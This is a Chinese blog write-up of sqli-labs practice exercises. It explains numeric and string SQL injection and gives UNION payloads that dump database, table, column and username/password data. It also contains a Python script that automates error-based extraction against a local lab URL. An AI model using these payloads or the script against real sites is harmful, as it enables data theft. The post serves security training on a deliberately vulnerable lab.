sqli-labs-master 刷题记录


注入的分类

注入的分类:数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。

1、数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:www.text.com/text.php?id=3

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

2、字符型注入

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

因此,在构造payload时通过闭合单引号可以成功执行语句:

测试步骤:

(1) 加单引号:select * from table where name=’admin’’

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;

Mysql 有三种常用注释符:

– 注意,这种注释符后边有一个空格

# 通过#进行注释 即**%23**

/* */ 注释掉符号内的内容

因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;

sqli-labs

查看有多少列:

?id=1 order by 3--+

查看所有的数据库:

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查看所有的表:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+0x7365637572697479对应的字符串是security

查看所有的字段:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ (0x7573657273对应的字符串是users)

查看所有用户名和密码:

union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

(0x7e相当于’~’)

concat()函数

功能:将多个字符串连接成一个字符串。

语法:concat(str1, str2,…)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

举例:

select concat (id, name, score) as info from tt2;

concat_ws()函数

功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

语法:concat_ws(separator, str1, str2, …)

group_concat()函数

功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。

Less-3

image-20201017183527723 image-20201017183732804

与less -1的报错进行对比,发现多了一个,查看源码:

img

构造id=-1’)

less-4

?id=1’没有报错,试了下?id=1”,报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“2””) LIMIT 0,1’ at line 1

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

查看源码,发现它在进行SQL查询前好像还做了个给id赋值的操作,测试一下这个到底会对id进行怎样的操作:

<?php
$id=1;
$id = '"' . $id . '"';
echo($id);            //"1"

我们看见执行的结果是”1” 可以得知原来这个语法是个id参数加了两个双引号 并且还是右括号的注入

构造**?id=-1”)**

less-5

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://127.0.0.1/sqli-labs-master/Less-5/?id=1'''
### 获取当前数据库名 ###
print('当前数据库名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
### 获取表名 ###
print('数据库%s下的表名:' % db_name)
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
    r = requests.get(url+payload)
    if 'group_key' not in r.text:
        break
    table_name = r.text.split(':')[-2]
    table_list.append(table_name)
    print('[+]' + table_name)
### 获取列名 ###
#### 这里以users表为例 ####
print('%s表下的列名:' % table_list[-1])  ###根据我的摸索,里面的数字应该表示顺序,-1表示的应该是倒数第一个,0应该表示第一个
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    column_name = r.text.split(':')[-2]
    column_list.append(column_name)
    print('[+]' + column_name)
### 获取字段值 ###
#### 这里以username列为例 ####
print('%s列下的字段值:' % column_list[-2])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    dump = r.text.split(':')[-2]
    print('[+]' + dump)

less-6

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1”” LIMIT 0,1’ at line 1


文章作者: Ab4nd0n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ab4nd0n !
评论
  目录